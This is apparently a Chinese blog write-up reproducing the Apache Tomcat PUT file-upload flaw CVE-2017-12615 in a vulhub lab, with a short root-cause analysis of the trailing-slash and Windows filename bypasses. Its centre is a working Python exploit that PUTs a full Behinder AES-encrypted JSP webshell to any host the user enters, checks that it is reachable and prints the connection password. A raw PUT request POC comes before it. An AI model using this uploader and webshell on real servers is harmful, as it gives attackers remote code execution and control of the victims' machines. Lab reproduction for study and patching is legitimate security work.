【vulhub漏洞复现】通过 PUT 方法的 Tomcat 任意写入文件漏洞 (CVE-2017-12615)-02

一、漏洞原理

Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。
CVE-2017-12615:远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

查看readonly参数设置:
在这里插入图片描述虽然Tomcat在一定程度上会检查文件后缀(不能直接写jsp),但是我们还是可以通过一些文件系统的特性来绕过这个限制(比如:在Linux下使用)。

二、影响范围

Apache Tomcat 7.0.0-7.0.81(默认配置)

如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞。

三、测试环境

角色IP
目标靶机192.200.30.72
#进入漏洞环境目录
cd /opt/vulhub-master/tomcat/CVE-2017-12615
#启用漏洞环境
docker-compose up -d

在这里插入图片描述
1).docker环境启用,查看容器环境运行正常。
在这里插入图片描述2).直接访问http://192.200.30.72:8080,访问到一个爆错页面,中间件显示Apache Tomcat/8.5.19。
在这里插入图片描述

四、漏洞POC

PUT /shell.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell...

五、漏洞复现

1).访问http://192.200.30.72:8080,通过Burp Suite改包,将请求方法改成PUT,添加文件名shell.jsp/(注意后面要添加/),请求体中添加jsp的冰蝎马。
在这里插入图片描述2).访问http://192.200.30.72:8080/shell.jsp,返回状态码200,文件写入成功。
在这里插入图片描述3).通过冰蝎直接连接,连接成功。命令执行成功。
在这里插入图片描述在这里插入图片描述
下面附上我用Python3编写的POC:

#-*- coding:utf-8 -*-
#PUT方法,Tomcat任意文件上传漏洞(CVE-2017-12615)验证POC。
import requests

host01=input(str("Host:"))
header01={
    "Host":host01,
    "Accept":"*/*",
    "Accept-Language":"en",
    "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
    "Connection":"close",
    "Content-Type":"application/x-www-form-urlencoded",
    "Content-Length":"5"
}
#冰蝎jsp马
data01='''<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";
session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),
"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'''

file="shell.jsp"
url01="http://{}/{}/".format(host01,file)
url02="http://{}/{}".format(host01,file)
try:
    r1 = requests.put(url=url01,headers=header01,data=data01)
    r2 = requests.get(url=url02)
    if (r1.status_code == 201 or
        r1.status_code == 204):
        print("[+]shell Write to success")
    else:
        print("[-]shell Write to failed")
    if r2.status_code == 200 :
        print("[+]shell Access to success")
        print("[+]This host has CVE-2017-12615 vulnerability!")
        print("[*]shell path:{}".format(url02))
        print("[*]冰蝎连接秘钥:rebeyond")
    else:
        print("[-]shell Access to failed")

except Exception as e:
    print('Error:{}'.format(e))
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
9 月 19 日,腾讯云安全中心监测到  Apache Tomcat了2个严重级别的漏洞, 分别为: 信息泄露漏洞CVE-2017-12616)、远程代码执行漏洞CVE-2017-12615),在某些场景下,攻击者将分别能通过这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码。      云鼎实验室通过对于漏洞描述,搭建漏洞环境,并对其进行。此漏洞为高危漏洞,即使是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 webshell,并控制服务器。 根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。    通过阅读 conf/web.xml 文件,可以发:   默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控。   配置 readonly 为 false: 启动 Tomcat,利用 PUT 请求创建文件: 提示 404。通过描述中的 Windows 受影响,可以结合 Windows 的特性。其一是 NTFS 文件流,其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)来绕过限制:  访问发可以正常输出:  分析 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过JspServlet处理请求的:   可以得知,“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由DefaultServlet去处理。当处理 PUT 请求时: 会调用resources.rebind: dirContext 为FileDirContext: 调用 rebind创建文件: 又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。 Bypass 分析 然而,经过黑盒测试,当 PUT 地址为/1.jsp/时,仍然会创建 JSP,会影响 Linux 和 Windows 服务器,并且 Bypass 了之前的补丁,分析如下。  在进入 bind 函数时,会声明一个 File 变量: 进入 File 后,会对 name 进行 normalize 最后得到的 path 就是没有最后 / 的 path 了: 影响  由于存在去掉最后的 / 的特性,那么这个漏洞自然影响 Linux 以及 Windows 版本。而且经过测试,这个漏洞影响全部的 Tomcat 版本,从 5.x 到 9.x 无不中枪。目前来说,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值